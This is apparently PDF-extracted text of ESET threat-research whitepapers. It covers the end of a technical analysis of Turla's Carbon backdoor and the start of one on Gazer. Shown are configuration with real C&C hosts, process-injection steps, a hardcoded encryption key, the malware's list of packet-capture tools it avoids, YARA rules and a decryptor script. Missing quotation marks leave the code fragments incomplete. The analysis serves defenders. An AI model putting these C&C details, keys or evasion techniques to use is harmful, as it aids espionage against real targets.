+ (used to ensure exclusive
+access to new files created in 
+ folder)
+5/25
+Global\\SENS.LockStarterCacheResource
+ (used to ensure exclusive access to
+miniport.dat
+Global\\ShimSharedMemoryLock
+ (used to ensure exclusive access to 
+asmcerts.rs
+In carbon 3.8x, the filenames and the mutex names have changed:
+Global\\Stack.Trace.Multi.TOS
+ (used to ensure exclusive access to 
+preinsta.jpg
+Global\\TrackFirleSystemIntegrity
+ (used to ensure exclusive access to 
+dsntype.gif
+Global\\BitswapNormalOps
+ (used to ensure exclusive access to 
+cifrado.xml
+Global\\VB_crypto_library_backend
+ (used to ensure exclusive access to
+encodebase.inf
+Global\{E41B9AF4-B4E1-063B-7352-4AB6E8F355C7}
+ (used to ensure exclusive
+access to new files created in 
+0409
+ folder)
+Global\\Exchange.Properties.B
+ (used to ensure exclusive access to 
+wkstrend.xml
+Global\\DatabaseTransSecurityLock
+ (used to ensure exclusive access to 
+xmlrts.png
+These mutexes are also used in the injected dll to ensure that the orchestrator has been
+executed.
+Configuration File
+The configuration file affects the malware
+s behavior. The file format is similar to 
+ files used
+by Windows. It contains among others:
+object_id
+ that is a unique uuid used to identify the victim, when the value is not set
+in the file, it is generated randomly by the malware
+a list of processes into which code is injected (iproc)
+the frequency and time for task execution / backup logs / connection to the C&C ([TIME])
+the IP addresses of other computers on the network ([CW_LOCAL])
+the C&C server addresses ([CW_INET])
+the named pipes used to communicate with the injected library and with the other
+computers ([TRANSPORT])
+This file might be updated later. Indeed, in the communication library, some cryptographic keys
+are used to encrypt/decrypt data and these keys are retrieved from a section [CRYPTO] in the
+configuration file that does not exist when the file is dropped from the loader resources.
+Carbon 3.77 configuration file:
+<span style="font-family: 'courier new', courier, monospace;" ><code data-lang="console"><span
+class="tok-go">[NAME]</span>
+<span class="tok-go">object_id=</span>
+<span class="tok-go">iproc =
+iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe</span>
+<span class="tok-go">ex = #,netscape.exe,mozilla.exe,adobeupdater.exe,chrome.exe</span>
+6/25
+<span class="tok-go">[TIME]</span>
+<span class="tok-go">user_winmin = 1800000</span>
+<span class="tok-go">user_winmax = 3600000</span>
+<span class="tok-go">sys_winmin = 3600000</span>
+<span class="tok-go">sys_winmax = 3700000</span>
+<span class="tok-go">task_min = 20000</span>
+<span class="tok-go">task_max = 30000</span>
+<span class="tok-go">checkmin = 60000</span>
+<span class="tok-go">checkmax = 70000</span>
+<span class="tok-go">logmin = 60000</span>
+<span class="tok-go">logmax = 120000</span>
+<span class="tok-go">lastconnect=111</span>
+<span class="tok-go">timestop=</span>
+<span class="tok-go">active_con = 900000</span>
+<span class="tok-go">time2task=3600000</span>
+<span class="tok-go">[CW_LOCAL]</span>
+<span class="tok-go">quantity = 0</span>
+<span class="tok-go">[CW_INET]</span>
+<span class="tok-go">quantity = 3</span>
+<span class="tok-go">address1 = doctorshand.org:80:/wp-content/about/</span>
+<span class="tok-go">address2 = www.lasac.eu:80:/credit_payment/url/</span>
+<span class="tok-go">address3 = www.shoppingexpert.it:80:/wp-content/gallery/</span>
+<span class="tok-go">[TRANSPORT]</span>
+<span class="tok-go">system_pipe = comnap</span>
+<span class="tok-go">spstatus = yes</span>
+<span class="tok-go">adaptable = no</span>
+7/25
+<span class="tok-go">[DHCP]</span>
+<span class="tok-go">server = 135</span>
+<span class="tok-go">[LOG]</span>
+<span class="tok-go">logperiod = 7200</span>
+<span class="tok-go">[WORKDATA]</span>
+<span class="tok-go">run_task=</span>
+<span class="tok-go">run_task_system=</span></code></span>
+Logfile
+The Carbon framework includes a logfile that is used to log actions performed by the malware
+and information on the system that can be useful to the malware operator (for example if an
+analysis tool such as WireShark is running on the machine).
+The log
+s format has not changed since Carbon 3.71:
+Date|Time|Object-Id|Source|Message
+example
+<span class="tok-go">[LOG]</span>
+<span class="tok-go">start=1</span>
+<span class="tok-go">20/02/17|12:48:24|8hTdJtUBB57ieReZAOSgUYacts|s|OPER|New object ID
+generated '8hTdJtUBB57ieReZAOSgUYacts'|</span>
+<span class="tok-go">20/02/17|12:48:24|8hTdJtUBB57ieReZAOSgUYacts|s|ST|3/81|0|</span>
+<span class="tok-go">20/02/17|12:48:24|8hTdJtUBB57ieReZAOSgUYacts|s|START OK</span>
+This file is periodically backed up and sent to the C&C.
+Dropper
+The dropper is the only executable that is not a DLL. It is the first PE file to be executed: it is
+used to extract the other components from its resources.
+The PE files that are used to load the main components are extracted into the Windows
+system directory while the orchestrator, the library used to communicate with the C&C and the
+configuration file are extracted into the Carbon working directory.
+8/25
+A new section is appended into a random 
+.inf
+ file from %SystemRoot%\INF. The section
+name is the volume serial disk number of the compromised machine and a value 
+root
+created with the chosen Carbon working directory.
+Example:
+<span class="tok-go">[5049654F]</span>
+<span class="tok-go">root="C:\Program Files\Windows Portable Devices" </span>
+Loader
+This part of the component is used to load the orchestrator.
+A service that ensures Carbon
+s persistency is created. Its name can either be 
+srservice
+ipvpn
+ or 
+hkmsvc
+ depending of the operating system version running on the compromised
+machine.
+The Carbon working directory is retrieved by walking through the 
+%windir%\inf
+ folder and
+looking for the file that contains the Carbon base path.
+Last but not least, the function 
+ModuleStart
+ (in Carbon 3.71) or 
+ModStart
+ (since Carbon
+3.77) from the orchestrator (located in the Carbon base folder) is called.
+Orchestrator
+The orchestrator is the main component of the Carbon framework. It is mainly used to inject
+code into a process that communicates legitimately over the Internet and to dispatch the tasks
+received from the injected library to other computers on the same network either through
+named pipes or TCP.
+Seven threads are created by the malware. It is easy to identify Carbon
+s characteristics
+because each thread has a specific role:
+Configuration fetching
+Because the configuration file can be updated by the malware, some attributes like the C&C
+server addresses are monitored every 10 minutes.
+Check Carbon storage folder periodically
+There is a storage folder located in the Carbon working directory. This folder contains some
+files downloaded from the C&C server (tasks that are either commands to be executed or PE
+files, and their configuration files).
+This thread will run continuously and check every two hours whether there is still enough
+space available in this folder; if not, a notification is written into the logfile.
+9/25
+Task execution
+The execution of the tasks in the context of the orchestrator process is very similar to the way
+in which it is performed in the communication library (cf Communication library / Tasks
+execution).
+Unlike the communication library, it is the file 
+encodebase.inf
+ (for Carbon v3.8x) or
+a67ncode.ax
+ that contains the list of the tasks to execute.
+Each line of this file is composed in the following way:
+task_id | task_filepath | task_config_filepath | task_result_filepath | task_log_filepath |
+[execution_mode | username | password]
+The five first fields are required, while the last three are optional. If the field 
+execution_mode
+exists, its value will affect the way the task is executed:
+0 or 1: normal execution
+2: the task is executed in the security context of a specific user (credentials are provided
+through the username/password fields)
+3 or 4: the task is executed in the security context of the user represented by the
+explorer.exe
+ token
+Like Uroburos/Snake, Carbon can dispatch tasks to other computers from the same network
+via named pipe or TCP. It is useful to be able to dispatch and execute tasks on computers that
+do not have Internet access.
+Communication channels
+Uroburos used several types of communication transports than can be categorized as follows:
+type 1: TCP
+type 2: enc, np, reliable, frag, m2b, m2d
+type 3: t2m
+type 4: UDP, doms, domc
+10/25
+Carbon uses a reduced number of communication channels:
+type 1: TCP, b2m
+type 2: np, frag, m2b
+The data sent to peers are usually fragmented and transported either by TCP or via a named
+pipe. If, for example, fragmented data are sent from a computer to another one by a named
+pipe, an object 
+frag.np
+ is set up. In this case the mother class 
+frag
+ constructor will be called
+followed by a call to the constructor subclass 
+There is a structure composed of several handlers for each objects: initialize communication,
+11/25
+connection (to a pipe / IP address), read data, send data etc.
+How a task is forwarded to another computer
+Several steps are performed to send data from one computer to another:
+a communication channel is created (frag.np or frag.tcp object) with a specific named
+pipe / ip address
+options are given to the object communication (for example : the fragment
+s size,
+information about the peer etc.)
+connection to the peer
+an authentication step is performed between the host and the peer:
+there is a handshake process where the host is sending the 
+magic
+ value
+A110EAD1EAF5FA11
+ and expects to receive 
+C001DA42DEAD2DA4
+ from the
+peer
+a command 
+ is sent to the peer where the host sends the victim uuid and
+expects to receive the same uuid
+if the authentication was successful, the data are sent to the peer
+All the communication between the host and the peer are encrypted with CAST-128
+Note that this P2P feature is also implemented in the communication DLL.
+Plugins
+This malware supports additional plugins to extend its functionalities.
+In the configuration file, there is a section named 
+PLUGINS
+. It might not exist when the
+configuration file is dropped from the loader resources but this file can be updated by the
+malware. The section 
+PLUGINS
+ contains a line formed this way:
+%plugin_name%=%enabled%|%mode%[:%username%:%password%]|%file_path%
+%file_path% can be either the path to a PE file or to a file containing a command line to be
+executed. %enabled% is a string that is used to know if the plugin has to be executed. If it is
+the case, that string value is 
+enabled
+The attribute %mode% is used to control the context in which to execute the PE file/command
+line. It can be either:
+1 = execution with current user privilege in the current process context through
+CreateProcess().
+2 = execution as the user specified in the configuration (:%username%:%password%
+attributes), the token of this specific user is retrieved through the LogonUserAs()
+function.
+3 = execution in the security context of the user represented by the 
+explorer.exe
+ token
+(the token of the process 
+explorer.exe
+ is duplicated and passed through the
+12/25
+CreateProcessAsUser() function.
+4 = similar than 3 but the environment variables for the user represented by the
+explorer.exe
+ token are retrieved and passed to the function CreateProcessAsUser()
+If it is a PE file:
+the file is loaded into the malware process memory
+the module is parsed to check if it is a DLL
+if the module is a DLL and exports a function 
+ModStart
+ (since Carbon 3.77) or
+ModuleStart
+ (for older versions of Carbon), a new thread is created to execute this
+function.
+if the module is not a DLL but a valid PE, it is executed from the entry point.
+Injection of the communication library into remote processes
+The library that is used to communicate with the C&C server is injected into remote processes.
+In order to know where to inject this DLL, the configuration file is parsed. The section 
+[NAME]
+contains a field 
+iproc
+ containing a list of processes that can legitimately communicate to
+Internet.
+Example:
+<span class="tok-go">[NAME]</span>
+<span class="tok-go">iproc =
+iexplore.exe,outlook.exe,msimn.exe,firefox.exe,opera.exe,chrome.exe</span>
+For each process on the list that is running on the system, if its parent process name is either
+explorer.exe
+ or 
+ieuser.exe
+, the DLL will be injected into this process.
+The process injection is very classical:
+the functions 
+CreateToolHelp32Snapshot / Module32FirstW / Module32NextW
+ are
+used to retrieve the base address of the module 
+kernel32.dll
+the module EAT is parsed to get the address of the function 
+LoadLibraryW
+the privilege 
+SeDebugPrivilege
+ is enabled for the current process
+memory is allocated into the remote process and the library path is written into it
+NtCreateThreadEx or CreateRemoteThread (if the address of the first function cannot be
+retrieved) is called to execute LoadLibraryW to load the DLL into the memory of the
+remote process *
+Communication library
+The following analysis is based on the version 4.x of msximl. This component may have
+changed in the latest versions.
+Configuration fetching
+13/25
+Besides the code in the 
+Configuration fetching
+ thread from the orchestrator (which is similar),
+a field 
+sethttp1
+ is retrieved from the [TRANSPORT] section.
+If this value is set, HTTP 1.1 will be used for future connections.
+Tasks execution
+The tasks are retrieved from the C&C server.
+The tasks to be executed by the communication library are listed in the file 
+b9s3coff.ax
+ (for
+Carbon v3.7x) or 
+cifrado.xml
+ (for Carbon v3.8x).
+Each line of this file is composed in the following way:
+task_id | task_filepath | task_config_filepath | task_result_filepath | task_log_filepath
+The task file and its config are decrypted (CAST-128) and the task executed. There are some
+options that are retrieved from the Carbon configuration file: 
+time2task
+ is used to set a
+timeout for the task execution (1 hour by default) while 
+task_min
+ and 
+task_max
+ are used as
+to wait a random time between the execution of the tasks on the task list (the random time will
+be set between 
+task_min
+ and 
+task_max
+). These parameters come from the section [TIME].
+If the task is a valid DLL file, it is loaded in the current process memory and a new thread is
+created to execute its 
+start
+ export. Otherwise, this is probably a command to execute. In this
+case, the configuration file is parsed. Like the Carbon configuration file, the task configuration
+file is formed as a windows 
+ file and should contain a section [CONFIG] with the following
+parameters:
+[CONFIG]
+NAME (
+cmd.exe
+ by default)
+RESULT (
+stdout
+ by default)
+COMPRESSION (
+ by default)
+DELETE (
+ by default)
+The command with its arguments is executed through CreateProcess() function and the results
+are stored in the %task_result_filepath% file if the RESULT option is not set to 
+stdout
+, while
+error or additional info are added to the task logfile.
+If the option RESULT is set to stdout:
+the result task file is deleted and the task execution output is written to the log task file
+the line 
+task_id | 
+ | task_log_filepath | object_id
+ is added at the end of the file
+C_56743.NLS
+ (Carbon 3.7x) or 
+dsntype.gif
+ (Carbon 3.8x)
+Otherwise:
+14/25
+the task execution is outputted to the task result file and the errors / additional info to the
+task logfile
+the line 
+task_id | 
+ | task_log_filepath | task_result_filepath | object_id
+ is added at the
+end of the file 
+C_56743.NLS
+ (Carbon 3.7x) or 
+dsntype.gif
+ (Carbon 3.8x)
+In both cases, the same line as written into 
+C_56743.NLS
+ is also written into the field
+run_task
+ from the Carbon configuration file. It might be intended as a way for the malware
+authors to know which is the last task executed when the configuration file is sent to the C&C
+server (check 
+Configuration file backup
+Log rotation
+The logfile is backed up and sent to the C&C server periodically (by default this is done every
+two hours).
+Like the backup of the configuration file, this action is performed only during specific times of
+the day.
+Indeed, the log rotation will be performed only when the current local time is in the range of
+what is defined in the configuration file.
+The fields 
+wh_min
+ and 
+wh_max
+ are retrieved from the [TIME] section of the configuration
+file (by default: 8 and 20). The thread will execute the code only if the current hour of the day is
+between %wh_min% and %wh_max%.
+If there is a value for the attribute 
+timestop
+ from the [TIME] section (which looks like
+wDay:wMonth:wYear:wHour:wMinute
+), the thread will execute the code only after this
+specific datetime.
+The attributes 
+lastsend
+ and 
+logperiod
+ from the [LOG] section are used to specify a delay
+time when to backup and send the log to the C&C server. (by default: every two hours).
+A temporary file with a random name prefixed by 
+ is created in the folder 
+ (for Carbon
+v3.7x) or 
+1033
+ (for Carbon v3.8x). The logfile content is copied into this new file. It is then
+compressed with Bzip2 and encrypted (CAST-128).
+A new line is added at the end of the file 
+C_56743.NLS
+ (for Carbon v3.7x) or 
+dsntype.gif
+(for Carbon v3.8x):
+10|1|%s|%s
+1st field: an ID to identify the file as a logfile
+2nd field: 1 (file to be sent to the C&C server)
+3rd field: the temp file path
+4rd field: the victim uuid
+Last but not least, the attribute 
+lastsend
+ is updated with the current time and the original
+logfile is deleted.
+15/25
+Communication with the C&C server
+The code of this thread is used to retrieve new tasks from the C&C server, to send new files to
+the server (the files listed in the file 
+C_56743.NLS
+dsntype.gif
+) and to send the new tasks
+to the orchestrator.
+First request
+A random C&C server address is chosen from the ones in the section 
+CW_INET
+. If the port
+and HTTP resource path are not specified, the default is to use port 80 and
+/javascript/view.php
+A user agent is set up in the following way:
+the version of Internet Explorer is retrieved through the registry key:
+HKLM\Software\Microsoft\Internet Explorer\Version
+ and is concatenated to the string
+Mozilla/4.0 (compatible; MSIE %d.0; 
+example: 
+Mozilla/4.0 (compatible; MSIE 8.0.6001.18702.0;
+concatenate the previous string with the OS major/minor version values (through
+GetVersionExA())
+Mozilla/4.0 (compatible; MSIE 8.0.6001.18702.0; Windows NT 5.1; Trident/4.0
+enumerate the values key in
+HKLM\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User
+Agent\Post Platform
+ and concatenate each value to the previous string and then
+append a closing paren.
+example: 
+Mozilla/4.0 (compatible; MSIE 8.0.6001.18702.0; Windows NT 5.1;
+Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729;
+.NET4.0C; .NET4.0E; Media Center PC 6.0; SLCC2)
+The field 
+trans_timemax
+ from the section [TIME] is retrieved. It is used to set the timeout for
+internet requests (through InternetSetOption()). It has a value of 10 minutes by default.
+A first GET request is performed on the root page of the C&C web server to check that the
+host is alive. If no packet capture is running on the system, a new request is done on the C&C
+server to check if new tasks are available. A 
+PHPSESSID
+ cookie is added to the request with
+the victim uuid as its value. A header 
+Referer
+ is added as well and set to the C&C server
+URL.
+The malware is expecting to get an answer to the GET request similar to:
+<input name=
+%name%
+ value=
+%data_in_b64%
+If the field 
+value
+ contains something, a new task is available.
+Send data to the server
+16/25
+If the file 
+C_56743.NLS
+dsntype.gif
+ is not empty, it means there are data to be sent the
+C&C server. The file is parsed and the last line is retrieved. It contains details about the data to
+be sent. A data blob is built and each of the following fields is encrypted with CAST-128:
+id | val | tmp_filesize | tmp_content | [OPTIONAL (if val == 2) tmp2_filesize |
+tmp2_content] | len_object_id | object_id
+id = the type of data to send to the C&C server, it can be:
+10: log backup
+11: configuration file
+20: a cryptographic key
+otherwise: an id associated to a task, it can be the result of a task or an error
+log in the case of task execution failure
+val = 1 if there is only one file to send, 2 if there are two files
+object_id = the victim uuid
+17/25
+If the field 
+ from the section [CRYPTO] of the configuration file is set to 0, this whole blob
+is base64 encoded and sent to the C&C server through a POST request.
+Otherwise, another layer of encryption is used. In this case, the data blob is signed and a
+random 3DES key is used to encrypt it. Because the 3DES key is randomly generated and the
+server needs it to decrypt the data, the key is encrypted with the server public key. The server
+key is retrieved from the field 
+publicc
+ of the section [CRYPTO] from the configuration file.
+This new blob (encrypted_key | signature_data | encrypted data) is encoded in base64 and
+sent to the C&C server through a POST request.
+In order to avoid detection based on the data size sent in a request, the blob can be
+fragmented into several packets. An option in the configuration file (
+post_frag
+ in the section
+[TRANSPORT]) defines whether the blob will be fragmented or sent in only one POST request.
+If this option is set to 
+, the blob is divided into several fragments of a specific size. This
+size comes from another field in the configuration file: 
+post_frag_size
+An additional header will be added to the request:
+Content-Range: bytes %u-%u/%u; id=%u\r\n
+, i, i+(fragment_size-1), data_size, task_id
+If the option http11 is set, a specific header is added as well:
+Expect: 100-continue\r\n
+For each fragments sent, the fields 
+post_frag_size
+ and 
+pfslastset
+ from the config file
+(section [CW_INET_RESULTS]) are updated with the fragment size and the timestamp.
+Get new tasks
+18/25
+New tasks are retrieved from the C&C server by parsing the html page. The malware expects
+to find the html tag <input> in the page with a base64 encoded blob in its 
+value
+ attribute.
+Once decoded, this blob contains:
+an encrypted block of 128 bytes that contains a structure 
+PUBLICKEYSTRUC
+ followed
+by a cryptographic key (probably a 3DES key)
+signature data (128 bytes) to verify the integrity of the next block
+a block of encrypted data that contains the task
+The malware uses an RSA private key (retrieved from the field 
+keypair
+ from the section
+[CRYPTO] of the configuration file) to decrypt the first block and then uses the freshly
+decrypted key to decrypt the third block. This block of data can be either:
+a task to be executed
+the data are decrypted and stored in few temporary files, the task (a command or a
+19/25
+PE file) and its configuration file in the 
+ folder and the output files (file that will
+contains the task results and the logfile) are stored in the folder 
+0208
+ (or
+respectively 
+0409
+ and 
+1033
+ for Carbon v3.8x)
+task_id | task_filepath | task_config_filepath | task_result_filepath |
+task_log_filepath
+this line is appended to beginning of the file 
+b9s3coff.ax
+ (cifrado.xml on v3.8x)
+a task to be executed by the orchestrator
+the data are decrypted and stored in few temporary files (the task, its configuration
+etc) in the 
+ and 
+0208
+ folder (or 
+0409
+ and 
+1033
+ for Carbon v3.8x)
+depending of the content of the data, one of these lines will be added to the
+beginning of the file 
+a67ncode.ax
+ (encodebase.info on v3.8x)
+task_id | task_filepath | task_config_filepath | task_result_filepath |
+task_log_filepath
+task_id | task_filepath | task_config_filepath | task_result_filepath |
+task_log_filepath | execution_mode | username | password
+task_id | task_filepath | task_config_filepath | task_result_filepath |
+task_log_filepath | execution_mode
+a new RSA server public key
+in this case, the configuration file is updated with the new key encoded in base64
+(field publicc)
+data to be sent to an instance of Carbon running in another computer in the same
+network
+the data can contains a specific IP address and port, a named pipe or a named
+pipe with a username and password.
+Check Internet availability
+Each hour, the internet connection is checked. A first check is done by calling the function
+InternetAttemptConnect(). If it works, another test is done by sending HTTP GET requests to
+the following websites:
+www.google.com
+www.yahoo.com
+www.bing.com
+update.microsoft.com
+windowsupdate.microsoft.com
+microsoft.com
+An event is used to notify the other threads in case of the loss of Internet access.
+Configuration file backup
+Similar to the logfile, the configuration file is also periodically backed up and sent to the C&C
+server. The thread executes the code in a specific range of time (between 8h and 20h by
+default) .
+20/25
+The value 
+configlastsend
+ is retrieved from the section [TIME] of the configuration file. If the
+config file has been sent over a month ago, the config file is copied into a temporary file with a
+random name prefixed by 
+ in the folder 
+ (for Carbon v3.7x) or 
+1033
+ (for Carbon
+v3.8x). This file is then encrypted with CAST-128 algorithm.
+To notify the thread that communicates with the C&C server that a new file is ready to be sent
+to the server, the following line is appending to the file 
+C_56743.NLS
+ (for Carbon v3.7x) or
+dsntype.gif
+ (for Carbon v3.8x):
+11|1|%s|%s
+1st field: an ID to identify the file as a config file
+2nd field: 1 (file to be sent to the C&C server)
+3rd field: the temp filepath
+4rd field: the victim uuid
+Last but not least, the attribute 
+configlastsend
+ is updated with the current time.
+Additional Notes
+Calling API functions
+The base address of the modules of interest are retrieved by either parsing the PEB or (if the
+modules are not loaded into the process memory) by loading the needed files from disk into
+memory and parsing their headers to get their base addresses.
+Once the base addresses are retrieved, the PEB is walked again and the field 
+LoadCount
+from the structure LDR_DATA_TABLE_ENTRY is checked. This value is used as a reference
+counter, to track the loading and unloading of a module.
+LoadCount
+ is positive, the module EAT is parsed to get the needed function address.
+Encryption
+The module and function names are encrypted (at least since v3.77; it was not the case in
+v3.71) in a simple way, a logical shift of 1 bit being applied to each characters.
+The processes
+ names are encrypted as well by just XOR
+ing each character with the key 0x55
+(for Carbon v3.7x at least since v3.77) and with the key 0x77 for Carbon v3.8x.
+With only a few the exceptions, each file from the Carbon working directory is encrypted with
+the CAST-128 algorithm in OFB mode. The same key and IV are used from the version 3.71
+until the version 3.81:
+key = 
+\x12\x34\x56\x78\x9A\xBC\xDE\xF0\xFE\xFC\xBA\x98\x76\x54\x32\x10
+IV = 
+\x12\x34\x56\x78\x9A\xBC\xDE\xF0
+Check if packet capture is running
+21/25
+Before communicating with the C&C server or with other computers, the malware ensures that
+none of the most common packet capture software is running on the system:
+TCPdump.exe
+windump.exe
+ethereal.exe
+wireshark.exe
+ettercap.exe
+snoop.exe
+dsniff.exe
+If any of these processes are running, no communication will be done.
+Carbon IoCs are also available on ESET
+s GitHub repository https://github.com/eset/malwareioc/tree/master/turla
+Appendices
+Yara rules
+import 
+rule generic_carbon
+strings:
+$s1 = 
+ModStart
+$s2 = 
+ModuleStart
+$t1 = 
+STOP|OK
+$t2 = 
+STOP|KILL
+condition:
+(uint16(0) == 0x5a4d) and (1 of ($s*)) and (1 of ($t*))
+rule carbon_metadata
+condition:
+(pe.version_info[
+InternalName
+] contains 
+SERVICE.EXE
+pe.version_info[
+InternalName
+] contains 
+MSIMGHLP.DLL
+pe.version_info[
+InternalName
+] contains 
+MSXIML.DLL
+and pe.version_info[
+CompanyName
+] contains 
+Microsoft Corporation
+Carbon files decryptor/encryptor
+carbon_tool.py
+22/25
+#!/usr/bin/env python2
+from Crypto.Cipher import CAST
+import sys
+import argparse
+def main():
+parser = argparse.ArgumentParser(formatter_class=argparse.RawTextHelpFormatter)
+parser.add_argument(
+encrypt
+, help=
+encrypt carbon file
+, required=False)
+parser.add_argument(
+decrypt
+, help=
+decrypt carbon file
+, required=False)
+try:
+args = parser.parse_args()
+except IOError as e:
+parser.error(e)
+return 0
+if len(sys.argv) != 3:
+parser.print_help()
+return 0
+key = 
+\x12\x34\x56\x78\x9A\xBC\xDE\xF0\xFE\xFC\xBA\x98\x76\x54\x32\x10
+iv = 
+\x12\x34\x56\x78\x9A\xBC\xDE\xF0
+cipher = CAST.new(key, CAST.MODE_OFB, iv)
+if args.encrypt:
+plaintext = open(args.encrypt, 
+).read()
+while len(plaintext) % 8 != 0:
+plaintext += 
+\x00
+data = cipher.encrypt(plaintext)
+open(args.encrypt + 
+_encrypted
+).write(data)
+else:
+ciphertext = open(args.decrypt, 
+).read()
+while len(ciphertext) % 8 != 0:
+ciphertext += 
+\x00
+data = cipher.decrypt(ciphertext)
+open(args.decrypt + 
+_decrypted
+).write(data)
+if __name__ == 
+__main__
+main()
+https://securelist.com/analysis/publications/65545/the-epic-turla-operation/
+https://blog.gdatasoftware.com/2015/01/23926-analysis-of-project-cobra
+https://www.melani.admin.ch/melani/en/home/dokumentation/reports/technicalreports/technical-report_apt_case_ruag.html
+23/25
+Table 2 
+ Carbon sample hashes
+SHA1 hash
+7f3a60613a3bdb5f1f8616e6ca469d3b78b1b45b
+a08b8371ead1919500a4759c2f46553620d5a9d9
+4636dccac5acf1d95a474747bb7bcd9b1a506cc3
+cbde204e7641830017bb84b89223131b2126bc46
+1ad46547e3dc264f940bf62df455b26e65b0101f
+a28164de29e51f154be12d163ce5818fceb69233
+7c43f5df784bf50423620d8f1c96e43d8d9a9b28
+7ce746bb988cb3b7e64f08174bdb02938555ea53
+20393222d4eb1ba72a6536f7e67e139aadfa47fe
+1dbfcb9005abb2c83ffa6a3127257a009612798c
+2f7e335e092e04f3f4734b60c5345003d10aa15d
+311f399c299741e80db8bec65bbf4b56109eedaf
+fbc43636e3c9378162f3b9712cb6d87bd48ddbd3
+554f59c1578f4ee77dbba6a23507401359a59f23
+2227fd6fc9d669a9b66c59593533750477669557
+87d718f2d6e46c53490c6a22de399c13f05336f0
+1b233af41106d7915f6fa6fd1448b7f070b47eb3
+851e538357598ed96f0123b47694e25c2d52552b
+744b43d8c0fe8b217acf0494ad992df6d5191ed9
+bcf52240cc7940185ce424224d39564257610340
+777e2695ae408e1578a16991373144333732c3f6
+56b5627debb93790fdbcc9ecbffc3260adeafbab
+678d486e21b001deb58353ca0255e3e5678f9614
+Table 3 
+ C&C server addresses (hacked websites used as 1st level of proxies
+C&C server address
+soheylistore.ir:80:/modules/mod_feed/feed.php
+tazohor.com:80:/wp-includes/feed-rss-comments.php
+jucheafrica.com:80:/wp-includes/class-wp-edit.php
+61paris.fr:80:/wp-includes/ms-set.php
+24/25
+C&C server address
+doctorshand.org:80:/wp-content/about/
+www.lasac.eu:80:/credit_payment/url/
+Notes
+25/25
+Gazing at Gazer
+Turla
+s new second stage backdoor
+August 2017
+Gazing at Gazer
+Turla
+s new second stage backdoor
+August 2017
+Table of Content
+Introduction
+Summary
+Similarities with other Turla tools
+Custom encryption
+Global Architecture
+Loader
+Logs
+Working Directory
+Orchestrator
+Communication Module
+Messages between components
+Gazer versions
+IoCs
+Filenames
+Registry keys
+C&C URLs
+Mutexes
+Hashes
+Appendices
+Function names
+Yara rules
+List of Figures
+Figure 1.
+Turla author
+s sense of humor
+Figure 2.
+Gazer architecture
+Figure 3.
+Message format
+Figure 4.
+Certificates used to sign the malware variants
+List of Tables
+Table 1.
+Abstract Class Autorun
+Table 2.
+Abstract Class Queue
+Table 3.
+Abstract Class Storage
+Table 4.
+Abstract Class TListenerInterface
+Table 5.
+Abstract Class TAbstractTransport
+Table 6.
+Gazer sample hashes
+Gazing at Gazer
+Turla
+s new second stage backdoor
+Introduction
+Herein we release our analysis of a previously undocumented backdoor that has been targeted
+against embassies and consulates around the world leads us to attribute it, with high confidence,
+to the Turla group. Turla is a notorious group that has been targeting governments, government
+officials and diplomats for years. They are known to run watering hole and spearphishing campaigns
+to better pinpoint their targets. Although this backdoor has been actively deployed since at least
+2016, it has not been documented anywhere. Based on strings found in the samples we analyzed,
+we have named this backdoor 
+Gazer
+Recently, the Turla APT group has seen extensive news coverage surrounding its campaigns,
+something we haven
+t seen for a long time. The Intercept reported that there exists a 2011 presentation
+by Canada
+s Communication Security Establishment (CSE) outlining the errors made by the Turla
+operators during their operations even though the tools they use are quite advanced. The codename
+for Turla APT group in this presentation is MAKERSMARK. Gazer is, similar to its siblings in the Turla
+family, using advanced methods to spy and persist on its targets. This whitepaper highlights
+the campaigns in which Gazer was used and also contains a technical analysis of its functionalities.
+Summary
+Based on our research and telemetry on the different campaigns where Gazer was used,we believe
+that Southeastern Europe as well as countries in the former Soviet Union Republichas recently
+been the main target. The witnessed techniques, tactics and procedures (TTPs) are in-line with
+what we usuallysee in Turla
+s operation: a first stage backdoor, such as Skipper, likely delivered
+through spearphishingfollowed by the appearance on the compromised system of a second
+stage backdoor, Gazerin this case.
+Although we could not find irrefutable evidence that this backdoor is truly another tool in Turla
+arsenal, several clues lead us to believe that this is indeed the case. First, their targets are in line
+with Turla
+s traditional targets: Ministries of Foreign Affairs (MFAs) and embassies. Second, the modus
+operandi of spearphishing, followed by a first stage backdoor and a second stage, stealthier backdoor
+is what has been seen over and over again. Skipper, which has been linked to Turla in the past, was
+found alongside Gazer in most cases we investigated. Finally, there are many similarities between
+Gazer and other second stage backdoors used by the Turla group such as Carbon and Kazuar.
+As usual, the Turla APT group makes an extra effort to avoid detection by wiping files securely,
+changing the strings and randomizing what could be simple markers through the different backdoor
+versions. In the most recent version we have found, Gazer authors modified most of the strings
+and inserted 
+video-game-related
+ sentences throughout the code. An example of such
+a string is depicted in Figure 1.
+Gazing at Gazer
+Turla
+s new second stage backdoor
+Figure 1.
+Turla author
+s sense of humor
+Similarities with other Turla tools
+Gazer is written in C++ and shares several similarities with other malware from the Turla APT family.
+Indeed, Gazer, Carbon and Kazuar can receive encrypted tasks from a C&C server, which can be executed
+either by the infected machine or by another machine on the network. They all use an encrypted
+container to store the malware
+s components and configuration and they also log their actions
+in a file.
+The list of C&C servers is encrypted and embedded in Gazer
+s PE resources. They are all compromised,
+legitimate websites (that mostly use the WordPress CMS) that act as a first layer proxy. This is also
+a common tactic for the Turla APT group.
+Another interesting linkage is that one of the C&C servers embedded in a Gazer sample was known
+to be used in a JScript backdoor documented by Kaspersky as Kopiluak.
+Last but not least, these three malware families (Gazer, Carbon and Kazuar) have a similar list
+of processes that may be employed as a target to inject the module used to communicate with the
+C&C server embedded in the binary. The resource containing this list can change from one sample
+to another, it is likely tailored to what is installed on the system (for example, on some samples,
+the process name 
+safari.exe
+ can appear on the list).
+Custom encryption
+Gazer
+s authors make extensive use of encryption. They don
+t use the Windows Crypto API
+and don
+t seem to use any public library. It looks as if they are using their own library
+for 3DES and RSA.
+The RSA keys embedded in the resources contains the attacker
+s public key which is used to encrypt
+the data sent to the C&C server, and a private key to decrypt resources embedded in its binaries.
+These keys are unique in each sample.
+These resources are structured in the same way as RSA from OpenSSL, but these values (p, q, etc.)
+are computed by the custom implementation of Gazer
+s authors.
+Gazing at Gazer
+Turla
+s new second stage backdoor
+For 3DES, the IV and a static key are hardcoded and are the same in all samples. This 3DES key
+is randomly generated and XORed with the static key. The random data used to XOR the static
